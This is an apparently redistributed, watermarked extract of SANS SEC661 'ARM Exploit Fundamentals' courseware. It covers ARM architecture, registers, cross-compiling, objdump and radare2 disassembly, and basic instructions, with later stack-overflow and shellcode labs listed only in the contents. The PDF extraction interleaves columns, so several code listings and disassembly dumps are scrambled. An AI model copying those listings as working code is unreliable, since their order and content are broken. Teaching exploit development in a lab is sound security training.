Professional Documents
Culture Documents
SANS SEC661 ARM Exploit Development
SANS SEC661 ARM Exploit Development
SANS SEC661 ARM Exploit Development
661.1
09b91222e5d2d3d668cf8e52ec5d35ba
ARM Exploit
micede1865@wii999_com
Fundamentals
24356915
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
THE MOST TRUSTED SOURCE FOR INFORMATION SECURITY TRAINING, CERTIFICATION, AND RESEARCH | sans.org
https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||
PLEASE READ THE TERMS AND CONDITIONS OF THIS COURSEWARE LICENSE AGREEMENT
("CLA") CAREFULLY BEFORE USING ANY OF THE COURSEWARE ASSOCIATED WITH THE SANS
COURSE. THIS IS A LEGAL AND ENFORCEABLE CONTRACT BETWEEN YOU (THE “USER”) AND
SANS INSTITUTE FOR THE COURSEWARE. YOU AGREE THAT THIS AGREEMENT IS
ENFORCEABLE LIKE ANY WRITTEN NEGOTIATED AGREEMENT SIGNED BY YOU.
09b91222e5d2d3d668cf8e52ec5d35ba
With this CLA, SANS Institute hereby grants User a personal, non-exclusive license to use the Courseware
subject to the terms of this agreement. Courseware includes all printed materials, including course books
and lab workbooks, as well as any digital or other media, virtual machines, and/or data sets distributed by
SANS Institute to User for use in the SANS class associated with the Courseware. User agrees that the
CLA is the complete and exclusive statement of agreement between SANS Institute and you and that this
CLA supersedes any oral or written proposal, agreement or other communication relating to the subject
matter of this CLA.
micede1865@wii999_com
BY ACCEPTING THIS COURSEWARE,USER AGREES TO BE BOUND BY THE TERMS OF THIS CLA.
BY ACCEPTING THIS SOFTWARE, USER AGREES THAT ANY BREACH OF THE TERMS OF THIS CLA
MAY CAUSE IRREPARABLE HARM AND SIGNIFICANT INJURY TO SANS INSTITUTE, AND THAT
SANS INSTITUTE MAY ENFORCE THESE PROVISIONS BY INJUNCTION (WITHOUT THE
NECESSITY OF POSTING BOND) SPECIFIC PERFORMANCE, OR OTHER EQUITABLE RELIEF.
If User does not agree, User may return the Courseware to SANS Institute for a full refund, if applicable.
24356915
User may not copy, reproduce, re-publish, distribute, display, modify or create derivative works based upon
all or any portion of the Courseware, in any medium whether printed, electronic or otherwise, for any
purpose, without the express prior written consent of SANS Institute. Additionally, User may not sell, rent,
lease, trade, or otherwise transfer the Courseware in any way, shape, or form without the express written
consent of SANS Institute.
If any provision of this CLA is declared unenforceable in any jurisdiction, then such provision shall be
Paul Erwin
deemed to be severable from this CLA and shall not affect the remainder thereof. An amendment or
addendum to this CLA may accompany this Courseware.
SANS acknowledges that any and all software and/or tools, graphics, images, tables, charts or graphs
presented in this Courseware are the sole property of their respective trademark/registered/copyright
owners, including:
AirDrop, AirPort, AirPort Time Capsule, Apple, Apple Remote Desktop, Apple TV, App Nap, Back to My
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Mac, Boot Camp, Cocoa, FaceTime, FileVault, Finder, FireWire, FireWire logo, iCal, iChat, iLife, iMac,
iMessage, iPad, iPad Air, iPad Mini, iPhone, iPhoto, iPod, iPod classic, iPod shuffle, iPod nano, iPod touch,
iTunes, iTunes logo, iWork, Keychain, Keynote, Mac, Mac Logo, MacBook, MacBook Air, MacBook Pro,
Macintosh, Mac OS, Mac Pro, Numbers, OS X, Pages, Passbook, Retina, Safari, Siri, Spaces, Spotlight,
There’s an app for that, Time Capsule, Time Machine, Touch ID, Xcode, Xserve, App Store, and iCloud are
registered trademarks of Apple Inc.
live
SOF-ELK® is a registered trademark of Lewes Technology Consulting, LLC. Used with permission.
Governing Law: This Agreement shall be governed by the laws of the State of Maryland, USA.
SEC661_1_G03_01
https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||
09b91222e5d2d3d668cf8e52ec5d35ba
ARM Exploit Fundamentals
micede1865@wii999_com
© 2021 Hungry Hackers, LLC | All Rights Reserved | Version # G03_01
24356915
This page intentionally left blank.
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
LAB: Working with ARM
ARM Assembly
Emulating ARM
24
25
37
Debugging ARM 42
LAB: Debugging ARM Assembly 61
The Stack 62
LAB: Branching 87
micede1865@wii999_com
Stack Overflows
LAB: Stack Overflows
(Bonus) LAB: TLV
88
123
124
Exploit Mitigations 125
Shellcode 141
LAB: Shellcode 154
LAB: Bad Characters 155
(Bonus) Intro to Ghidra 156
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
• About this course...
• Course format
• Lectures
• Scheduled breaks
• Labs
micede1865@wii999_com
• Resources
• Slides
• Workbook
• Virtual machine
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
micede1865@wii999_com
mako
qemu armv7
dogfish
qemu armv7
tiger
qemu aarch64
hammerhead
vmware x86_64
This is a diagram for the lab environment. The hammerhead virtual machine (vm) will be imported and started
from within vmware. The mako, dogfish, and tiger vms are all ARM-based Ubuntu vms started via qemu. The
netgear and dlink “vms” are started from a chroot environment from the dogfish vm. The IP table is here for
Paul Erwin
reference. Mako, dogfish and tiger are in hammerhead’s host file and can be connected to by name (ping, ssh,
etc.).
Hammerhead VM
To be ran in VMWare
NFS sharing labs folder
Mako VM
Ubuntu 32-bit ARM v7
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Tiger VM
To be ran in qemu
Start with start_mako.sh
live
09b91222e5d2d3d668cf8e52ec5d35ba
SEC661.1
ARM Exploit Fundamentals
2. Working with ARM
Lab: Working with ARM
3. ARM Assembly
SEC661.2 4. Emulating ARM
Exploiting IoT Devices 5. Debugging ARM
Lab: Debugging ARM Assembly
6. The Stack
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
ARM Overview
09b91222e5d2d3d668cf8e52ec5d35ba
With the recent explosion of IoT in the consumer market, ARM has quickly taken the
world by storm and established itself as the forerunner in embedded technology. With
micede1865@wii999_com
numbers reporting in the billions (that’s billions with a ‘b’), it doesn’t look like things
are slowing down anytime soon. In this section we begin our discussion by talking
about ARM processors and what sets them apart from other architectures.
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
• Designed by Acorn Computers in the 1980s
• Later became Advanced RISC Machines, Ltd.
• Simplified processor design provides a high
performance, scalable, low power product
micede1865@wii999_com
• Today, ARM markets the architectural design
(intellectual property) to chip manufacturers instead of
producing actual hardware
ARM was originally a side project at Acorn Computers. The chip industry was heading down the path of
CISC, but the ARM developers identified potential in the less popular RISC machines. Interviews are
available online featuring the original developers and there is even a movie about the early days of ARM.
Paul Erwin
Today, instead of producing actual hardware, ARM Ltd. licenses its intellectual property to chip
manufacturers.
Sophie Wilson wrote the original instruction set and Steve Furber designed the original chip. Search for these
two on youtube to hear the story first-hand from the original authors.
Reference:
Movie: Micro Men
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
https://www.youtube.com/watch?v=XXBxV6-zamM
Interviews:
ARM inventor: Sophie Wilson (Part 1)
https://www.youtube.com/watch?v=jhwwrSaHdh8
ARM Processor - Sowing the Seeds of Success – Computerphile (Interview with Steve Furber)
https://www.youtube.com/watch?v=1jOJl8gRPyQ
live
09b91222e5d2d3d668cf8e52ec5d35ba
• IoT "We wanted to produce a processor used by
everybody."
• Vehicles - Sophie Wilson
(Designer of the ARM instruction set)
• Wearable technology
• Smartphones
• micede1865@wii999_com
Medical equipment “... more than 100 billion devices shipped
over the last 5 years.”
• Laptops & servers - ARM.com
ARM is everywhere. Its distribution is measured in the hundreds of billions (that’s billions with a b) and it can
be found anywhere from smart phones to coffee pots. There is no sign of slowing down and more and more we
are seeing ARM in our homes and on our persons. Understanding ARM and how it works under the hood is a
Paul Erwin
fundamental skill for security researchers interested in embarking in the world of exploit development.
Reference:
ARM’s solution to the future needs of AI, security and specialized computing is v9 (Quote from ARM.com)
https://www.arm.com/company/news/2021/03/arms-answer-to-the-future-of-ai-armv9-architecture
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
https://www.youtube.com/watch?v=jhwwrSaHdh8
live
09b91222e5d2d3d668cf8e52ec5d35ba
• ARMv7
• Introduced architecture profiles (aka Types)
• Application (Cortex-A)
• Real Time (Cortex-R)
• Microcontroller (Cortex-M)
• ARMv8
micede1865@wii999_com
• Introduced two execution states
• AArch32 (32-bit)
• AArch64 (64-bit)
• ARMv9 – Announced March 30, 2021
ARM has released different architectures that can be referenced with a “vX” suffix. Architectures prior to
ARMv7 exist but are not listed in the slide.
Paul Erwin
ARMv7 introduced the concept of profiles (sometimes referred to as types). When reading or discussing
different types of ARM chips, you may have noticed letters associated with the architecture profiles.
ARM-v7M (Microcontroller) – Minimal, built for speed and simplicity - Fixed memory map, low memory
consumption, different exception handling model
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
64-bit was introduced with ARMv8. These processors are backward compatible and will run in either
AARCH32 or AARCH64 modes.
ARMv9 was introduced in March 2021 and will introduce new security concepts such as Confidential
Compute Architecture (CCA).
live
09b91222e5d2d3d668cf8e52ec5d35ba
ARM (32-bit) x86
• General Purpose Registers (r0-r15) • General Purpose Registers (eax, ebx,
• RISC (Reduced Instruction Set esp, eip ...)
Computing) • CISC (Complex Instruction Set
• Less instructions Computing)
• Simple instructions of a set length • Complex instructions varying in length
• micede1865@wii999_com
Other Differences
• Load / Store architecture •
• More instructions available
Can work directly on memory
• Link register / returns
• Prologue / epilogue
• Memory management
• Special purpose registers
If you are familiar with other architectures such as x86, there are a lot of similarities with ARM, but there are
also some fundamental differences. One of the first differences you will notice is the names of the registers.
ARM 32-bit uses register names starting with “r” where x86 uses eax, ebx, etc.
Paul Erwin
As you are looking through the assembly instructions, you will notice that ARM uses fixed width instructions,
either 4-bytes or 2-bytes wide. In x86, you see variable length instructions. ARM is a load/store architecture
which means that it does not directly modify memory in place. Instead, it loads memory into a register,
modifies it, and saves it back to memory.
There are other differences that you may notice, such as the presence of a Link Register and some differences
in the way functions are called and how they return. Digging a little deeper, you will see other differences in
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
the way memory is managed and some of the special purpose registers.
live
09b91222e5d2d3d668cf8e52ec5d35ba
SEC661.1
ARM Exploit Fundamentals
2. Working with ARM
Lab: Working with ARM
3. ARM Assembly
SEC661.2 4. Emulating ARM
Exploiting IoT Devices 5. Debugging ARM
Lab: Debugging ARM Assembly
6. The Stack
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
This code runs a basic “for
//simple_loop.c
int main()
{
print the value of the index
int index;
variable.
set max int max = 10;
to 10
micede1865@wii999_com
for(index=0; index<max; index++)
{
}
// Do nothing loop until
max is reached
We will use this simple loop program to gain some familiarity with how ARM binaries are created. The C
code itself isn’t important, but we want to show the process of how binaries get created. By starting here, we
can see what goes into building a program. This lays the groundwork so that we can go backwards and have a
Paul Erwin
better understanding of reverse engineering tools like IDA Pro, Ghidra, and Radare2.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
//simple_loop.c
#include <stdio.h>
The gcc program creates
an executable binary
file that can be ran on
the operating system.
int main() gcc ./simple_loop.c –o simple_loop
{ GCC takes care of
multiple steps with one
int index; input file -o specifies an command:
int max = 10; (source code) output file • Preprocessing
• Compiling
for(index=0; index<max; • Assembling
micede1865@wii999_com
index++)
{
}
// Do nothing
• Linking
$ ./simple_loop
total: 10
printf("total: %d\n", index);
return 0;
}
We can use gcc to compile the source code into an executable binary file. Since we are working on Linux, this
will create an ELF file that we can run on our system. The GNU C Compiler (aka gcc) actually performs
multiple steps under the hood, but these steps are transparent to the user. The steps are Preprocessing,
Compiling, Assembling and Linking.
Reference:
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
https://linuxhint.com/understanding_elf_file_format/
Run “man gcc” from the command line
live
09b91222e5d2d3d668cf8e52ec5d35ba
simple_loop.c
#include <stdio.h>
simple_loop.s
...
simple_loop.o
...
simple_loop
}
micede1865@wii999_com
for(i=0; i<max; i++) {
return 0;
} Link
Compile Assemble
(create binary
(create assembly file) (create object file)
executable)
Here are the steps for creating an executable binary file. Note: the Preprocessing step is not shown in the slide.
Compiling creates a representation of the source code in assembly language, which is typically represented as
a .s file.
Paul Erwin
Assembling takes an assembly file and creates object code.
Linking takes one or more object files and combines them into a single executable file.
With gcc, it is possible to specify parameters that will only perform certain steps from the entire process.
Below are some of the command line options.
Sample output using some of these parameters with arm-linux-gnueabi-gcc (discussed in the next
slide):
Compiling with –S :
live
ubuntu:~/labs/simple_loop$ arm-linux-gnueabi-gcc -S ./simple_loop.c
Assembling with –c :
ubuntu:~/labs/simple_loop$ arm-linux-gnueabi-gcc -c ./simple_loop.c
09b91222e5d2d3d668cf8e52ec5d35ba
• Compiling binaries for a ubuntu:~$ arm-linux-gnueabi- (hit the tab key)
arm-linux-gnueabi-ar
non-native platform arm-linux-gnueabi-as
arm-linux-gnueabi-cpp
The majority of processors in laptops and desktops are not ARM. This will probably change in the future, but
for now, many of us are running on non-ARM hardware. The class virtual machine is running on x86_64
(emulated) hardware but can cross-compile ARM binaries using the arm-linux-gnueabi-gcc toolchain.
Paul Erwin
Since we are not running on ARM, gcc will only compile for the native architecture. This is why we need a
cross-compile toolchain. Luckily, arm-linux-gnueabi-gcc is easy to install as an Ubuntu package.
Sometimes custom toolchains must be built and need to be very specific in matching different build tool
versions, libraries and configurations.
To install cross-compile tools on Ubuntu. Note: This is already installed in the hammerhead virtual machine.
ubuntu:~$ sudo apt install binutils-arm-linux-gnueabi gcc-arm-linux-gnueabi
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Some of the benefits for being able to compile ARM are:
- The ability to modify and compile open source tools
- ARM tools can be written and compiled in C, then ported to shellcode
Other tools that get installed with binutils-arm-linux-gnueabi are also useful such as: objdump,
objcopy, readelf, as, ld.
Examples:
09b91222e5d2d3d668cf8e52ec5d35ba
BuildID[sha1]=c52dec39e70fa4e75d4f602cb1323ce93b778fa2, not stripped
24356915
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
simple_loop.c simple_loop.s simple_loop.o simple_loop
micede1865@wii999_com
movs r3, #10 00 23 18 46 10 37 bd 46
for(i=0; i<max; i++) { str r3, [r7, #8] 80 bd
} movs r3, #0
str r3, [r7, #12]
printf("tot: %d\n", i); b .L2
...
return 0;
}
“Load” into the
Decompile Disassemble
reversing framework
Let’s take a look at the compilation process again, but this time we will think about it in reverse. Reverse
engineering tools take a binary of a known format and map out the bytes into various segments according to
the file format. This “loads” the binary into the reversing framework. The idea is to load the bytes in the same
Paul Erwin
memory locations as if the program were running. These bytes can be translated to assembly instructions. The
reverse engineering tool can display these assembly instructions for the user. A decompiler can take this a step
further and provide a guess as to what the original C code looked like. This decompile step is an estimation
since there is no 1-to-1 mapping between the assembly instructions and the C code.
Loading
Known file types can be parsed (ELF, PE, etc.)
Mapping the binary file for analysis
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Disassemble
Object code to assembly
One-to-one translation, defined by ARM
Decompile
Assembly to C
When analyzing an ARM binary, we don’t always have the original source code. Instead, we rely on tools that
work in reverse and walk backwards to show us the file in various formats. If we understand how the file is
loaded, we can organize the bytes in a way similar to how they would look in the running program’s memory.
live
The ELF file format is well-known and well-documented, so by using this format, reverse engineering tools
will map out the memory segments using the correct arrangement of bytes.
If we are not looking at a known file type such as ELF and are looking at an unknown binary format (i.e., a
custom firmware image), we may be required to write a custom loader.
With the proper arrangements of bytes and the meta data associated with the ELF file format, certain regions
of the memory can be marked as instructions. Since there is a 1-to-1 correspondence between the bytes that
make up the object code and the assembly instructions, this data can be displayed as ARM assembly. This is
known as disassembled code or disassembly.
09b91222e5d2d3d668cf8e52ec5d35ba
source code looked like. This is not an exact science, and is hard to get right, but decompilers give reverse
engineers a good sense of what the source code might have looked like.
micede1865@wii999_com
24356915
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
• Displays information from binary files
• The –d parameter will show the disassembly of a binary
micede1865@wii999_com
00010480 <main>:
10480:
10482:
10484:
b580
b084
af00
push
sub
add
{r7, lr}
sp, #16
r7, sp, #0
10486: 6078 str r0, [r7, #4]
10488: 6039 str r1, [r7, #0]
1048a: 230a movs r3, #10
The object dump tool will display information about binary (object) files. It has a lot of options that can
be viewed with the –h parameter. The –d option will show the disassembly of a binary file. As we discussed
previously, this is possible because the assembly instructions map to the object code and vice versa. This is a
Paul Erwin
down-and-dirty tool that is useful for verifying shellcode, searching for rop gadgets, and various other tasks
that require a quick look at a binary’s disassembly.
See example of using objdump within the mako virtual machine on the following page.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
10482:
10484:
10486:
b084
af00
6078
sub
add
str
sp, #16
r7, sp, #0
r0, [r7, #4]
10488: 6039 str r1, [r7, #0]
1048a: 230a movs r3, #10
1048c: 60fb str r3, [r7, #12]
1048e: 2300 movs r3, #0
10490: 60bb str r3, [r7, #8]
micede1865@wii999_com
10492:
10494:
10496:
e002
68bb
3301
b.n
ldr
adds
1049a <main+0x1a>
r3, [r7, #8]
r3, #1
10498: 60bb str r3, [r7, #8]
1049a: 68ba ldr r2, [r7, #8]
1049c: 68fb ldr r3, [r7, #12]
1049e: 429a cmp r2, r3
104a0: dbf8 blt.n 10494 <main+0x14>
104a2:
104a4:
104a6:
68b9
4b04
447b
ldr
ldr
add
24356915
r1, [r7, #8]
r3, [pc, #16]
r3, pc
; (104b8 <main+0x38>)
...
104b6: bd80
Paul Erwin
pop {r7, pc}
Reference:
Run “man objdump” or “objdump –h” from the command line.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
• Full-featured reverse engineering framework
• Binary analysis, disassembly, debugging, etc.
nemo@hammerhead:~/labs/simple_loop$ r2 simple_loop_static.arm
...
[0x0001036c]> aaa
...
[0x0001036c]> s main
[0x00010480]> pdf
micede1865@wii999_com
56: int main (int argc, char **argv);
...
0x00010480
0x00010482
80b5
84b0
push {r7, lr}
sub sp, 0x10
0x00010484 00af add r7, var_0h
0x00010486 7860 str r0, [var_4h] ; argc
0x00010488 3960 str r1, [r7] ; argv
0x0001048a 0a23 movs r3, 0xa
24356915
code
Radare2 is a robust tool for reverse engineering binary files. ARM is fully supported and there are many
different features in radare2 worth exploring. From the hammerhead vm, we can analyze ARM binaries, even
though hammerhead runs on x86_64. This is not a problem since radare2 (or r2) identifies the architecture the
Paul Erwin
binary was compiled for and treats it accordingly.
The commands in the slide were ran from the hammerhead vm and do the following:
Notice that we see the same addresses and disassembly as the previous slide showed with objdump, but the
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
object code values are in reverse byte order. This is just a matter of how it is displayed in the tool.
Radare2 has a very active community, and they even have their own annual conference. We don’t use radare2
a whole lot during class, but you’re encouraged to try it out and use it where it makes sense.
Reference:
https://github.com/radareorg/radare2
https://cutter.re/ live
09b91222e5d2d3d668cf8e52ec5d35ba
#include <stdio.h>
micede1865@wii999_com
unsigned int a=3, b=5, c=7, d=0;
unsigned short result = 0;
if (argv[1]) {
sscanf(argv[1], "%d", &d);
}
result = adder(a,b,c,d);
As exploit developers, it is important to know the limitations of a system. This includes the limitations of the
basic data types. Many types of software vulnerabilities are based on incorrect usage of data types. When a
value that is too high is copied into a data type that cannot hold it, that behavior is undefined and usually
Paul Erwin
results in the truncation or rolling over of the value. By knowing what the size limitations are, researchers can
look for issues that may have gone unnoticed by the developer.
Here we some examples of how variables are defined in the adder program. We will look at this program later
on, but for now, take note of how the variables are defined and know that they are limited to the range shown
in the chart.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
Most of us aren't running ARM natively (yet). Cross-compilers allow us to compile programs for ARM while
working in another architecture, such as x86_64. Having a fundamental understanding of how programs are
built gives researchers an advantage for understanding bugs in code. Emulators such as qemu allow us to run
single binaries or entire operating systems on non-native architecture.
OBJECTIVES PREPARATION
micede1865@wii999_com
• Cross-compiling ARM binaries
• Emulating ARM on non-native platform
This lab will be done in the Hammerhead virtual
machine.
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
SEC661.1
ARM Exploit Fundamentals
2. Working with ARM
Lab: Working with ARM
3. ARM Assembly
SEC661.2 4. Emulating ARM
Exploiting IoT Devices 5. Debugging ARM
Lab: Debugging ARM Assembly
6. The Stack
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
ARM Assembly
09b91222e5d2d3d668cf8e52ec5d35ba
Looking at ARM assembly can be pretty daunting at first. But it can also be very
empowering. Assembly instructions are the very core of what is happening on a
system. When we are working at this level, we can make the system do exactly what
micede1865@wii999_com
we tell it to do. We start with some common instructions and see how they are used
in an actual program. You may be overwhelmed at first. Learning assembly is a
significant undertaking, but in exploit development, the reward is worth the
investment.
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
• Low-level programming language simple_loop.s
micede1865@wii999_com
or 4 (ARM) bytes
movs
str
movs
str
r3, #10
r3, [r7, #8]
r3, #0
r3, [r7, #12]
...
ARM assembly is a low-level programming language that is human readable (although it may not seem like it
at first). An assembly language is specific to its processor type. For example, ARM instructions cannot be
assembled to run on an x86 chip. This is different from a higher layer of code like C that can be compiled for
Paul Erwin
different types of systems. The human readable ARM instructions map directly to object code which can be
ran directly on a system.
ARM is a RISC (Reduced Instruction Set Computing) architecture which means that there is a relatively
smaller set of instructions that execute one per clock-cycle and must be combined to perform more complex
tasks that might be combined into a single instruction with CISC (Complex Instruction Set Computing).
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
• Setup an environment
• Practice
• Reverse engineering
• Writing shellcode
• CTFs
micede1865@wii999_com
Assembly language is not an easy thing to learn and there is no way you can become an expert from sitting
through a 2-day course. It’s one of those things that takes time. It can be intimidating at first, but as you will
see there are some basic fundamentals that can give you a head start. The hammerhead virtual machine is
Paul Erwin
designed to provide the student with an ARM environment where they can practice and develop these
fundamental skills.
We will go over some ARM instructions and then dynamically step through them to see what is actually
happening and observe the effects on the system. Now that you have an ARM environment, we can practice
by taking a look at some assembly and doing some basic reverse engineering. In section 2, we will be working
with some ARM shellcode which is another great way to get comfortable with ARM.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Reference:
http://www.peter-cockerell.net/aalp/resources/pdf/all.pdf
live
09b91222e5d2d3d668cf8e52ec5d35ba
• 13 General Purpose Registers
32-BIT ARM REGISTERS
R0 – Return Value
R1
(R0-R12) R2
R3
• 3 Special Purpose Registers R4
(SP, LR, PC) R5
R6
R7
• Status Registers (CPSR, SPSR)
micede1865@wii999_com
• Like addresses, registers are
R8
R9
R10
either 32-bit or 64-bit R11
R12
SP – Stack Pointer
LR – Link Register
PC - Program Counter
There are over 30 total registers, depending on the specific ARM architecture, but we will be primarily
focusing on R0-R12, sp, lr, and PC. The SP or stack pointer register always points to the top of the stack. The
LR or link register can be used as a saved return address. It is used extensively when branching to and
Paul Erwin
returning from functions. The PC or program counter register always points to the next assembly instruction to
be executed.
If you are familiar with x86, PC in ARM corresponds to EIP and SP in ARM corresponds to ESP. 32-bit (4-
byte) ARM registers hold 32-bit values, so each register can hold one memory address.
Reference:
https://www.keil.com/support/man/docs/armasm/armasm_dom1359731128950.htm
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
• ARM processor can execute either ARM (4 byte) or
THUMB (2 byte) instructions
micede1865@wii999_com
0x00010540 00482de9 push {fp, lr} 0x00010480 80b5 push {r7, lr}
0x00010544 04b08de2 add fp, var_4h 0x00010482 84b0 sub sp, 0x10
0x00010548 20d04de2 sub sp, sp, 0x20 0x00010484 00af add r7, var_0h
0x0001054c 20000be5 str r0, [var_20h] 0x00010486 7860 str r0, [var_4h]
0x00010550 24100be5 str r1, [var_24h] 0x00010488 3960 str r1, [r7]
0x00010554 b0309fe5 ldr r3, [r7] 0x0001048a 0a23 movs r3, 0xa
0x00010558 003093e5 ldr r3, [r3] 0x0001048c fb60 str r3, [var_ch]
0x0001055c 08300be5 str r3, [var_8h] 0x0001048e 0023 movs r3, 0
0x00010560 0330a0e3 mov r3, 3 0x00010490 bb60 str r3, [var_8h]
0x00010564 14300be5 str r3, [var_14h] 0x00010492 02e0 b 0x1049a
4-byte width
ARM uses 4-byte fixed width instruction sets but can also execute a 2-byte instruction set called THUMB that
was originally designed to reduce code density.
Paul Erwin
The images in this slide show the main function for the adder and simple_loop programs, respectively.
These files can be found in the labs folder. Notice the 4-byte and 2-byte machine code size and how the
addresses increment by either 4 or 2 bytes based on the instruction type. The machine code (or opcode)
corresponds to, and is a direct translation of, the assembly representation of the instruction.
"ARM was approached by Nokia. Nokia sort of wanted to build a mobile phone around the processor, and
Nokia was scared about the code density of the 32-bit design, so ARM built a new instruction decoder called
THUMB on top of the machine, so thumb instructions are only 16 bits in size, and an arm processor with the
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
original thumb system decodes thumb instructions into ARM instructions and then executes them on an ARM
data path (so this is THUMB 1) and with thumb ARM were able to convince nokia that they have good
enough code density and so they got into a Nokia mobile phone and then into Nokia system on chips and then
become deeply embedded in the mobile phone industry” – Sophie Wilson
Reference:
ARM inventor: Sophie Wilson (Part 1)
https://www.youtube.com/watch?v=jhwwrSaHdh8
live
09b91222e5d2d3d668cf8e52ec5d35ba
mov r3, #4 movs r6, #0xa
micede1865@wii999_com
• “Move 4 into the r3 register”
• For mov instructions, work right
• “Move 0xa (10 decimal) into the r6 register”
• The “s” is an optional suffix which will update
to left with the operands the condition flags after the instruction is
• After this instruction, r3 will hold executed
the value 4 • After this instruction, r6 will hold the value 0xa
Example 1 Example 2
The ARM instruction is broken into two parts, the mnemonic and the operands. As shown in these
examples, the mov and movs mnemonics are used to move values into a register. They work from right to left
and values can be represented as either decimal or hexadecimal depending on the tool you are working with.
Paul Erwin
The movs instruction uses an “s” suffix that tells the system to update the conditional flags after the
instruction is executed. It is common to see a base instruction with a suffix that specifies an additional
characteristic.
Reference:
https://www.keil.com/support/man/docs/armasm/armasm_dom1361289878994.htm
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba = + +=
micede1865@wii999_com
• “Add 0xa to sp and store the result in r7”
• After this instruction, r7 will hold the same
• “Add 6 to r3 and store the result in r3”
• After this instruction, r3 will hold the value of
value as sp+0xa (10) 6 plus the previous value of r3
Example 1 Example 2
The add instruction is similar as it works from right to left. This mnemonic can have a varying number of
operands, but the idea is the same. Start adding from right to left and store in the leftmost register. If you look
at the resource below, you can drill down into all the intricacies of the add instruction. Typically, you don’t
Paul Erwin
have to go into a whole lot of depth, but if you come to an instruction and are not quite sure what it will do or
what certain suffixes mean, you can usually find good documentation on the topic.
Reference:
https://www.keil.com/support/man/docs/armasm/armasm_dom1361289861747.htm
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
ldr r3, [r1] 0x10000000: 0x41414141
0x10000004: 0x42424242
0x10000008: 0x43434343
0x1000000C: 0x44444444
0x10000010: 0x45454545
The ldr or load register instruction will retrieve a value from the registers on the right and load that value
into the register on the left (the first operand). When you see brackets in ARM assembly, this typically means
to dereference or fetch the value pointed to by what's in the brackets.
Paul Erwin
This instruction could be interpreted as “dereference r1 and store the value in r3” or
“load the r3 register with the value that r1 points to.”
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
ldr r4, [r2, #8] 0x10000000: 0x41414141
0x10000004: 0x42424242
0x10000008: 0x43434343
+4 0x1000000C: 0x44444444
+8 0x10000010: 0x45454545
• “Load the r4 register with the value that r2 plus 8 points to”
• r2 is treated as a base address, 8 is added to this address prior to
retrieving the data
• For example, if r2 held the value of 0x10000008, and the memory
at that address was the same as in the example above, after this
instruction executed, r4 would hold 0x45454545
With the ldr instruction, you can have more than one value in the brackets. When this occurs, the system will
combine these values with the leftmost value being the base and the additional values making up the offset. In
this example we add 8 (offset) to the base address held by r2, but there can be more than one offset within the
Paul Erwin
brackets. If you have more than one offset within the brackets, combine the base with all of the offsets to get
the result.
It is also worth noting that offsets can hold negative values. In that situation, the offset would be subtracted
from the base before fetching the value.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
sub r1, r3, #8
str r3, [r4, #4]
micede1865@wii999_com
By now, you are probably starting to recognize a pattern. Here are some more ARM instructions. Without
looking at the answers below, what do you think these instructions do?
Answer:
Paul Erwin
Subtract 8 from r3 and store the result in r1
Store the contents of r3 in the address r4 +4 The order of operation is different than the ldr instruction. We
copy the contents of the operand on the left (r3) into the base (r4) + offset (4) within the braces.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
Examples
...
movs
str
movs
str
r3, #10
r3, [r7, #8]
r3, #0
r3, [r7, #12]
So far, we have looked at instructions similar to those listed above. With the exception of the push instruction
at the very beginning, we already know what the instructions at the beginning of the main function in simple
loop do. As you look at more and more ARM Assembly, you will begin to notice that you see the same
instructions over and over again.
Paul Erwin
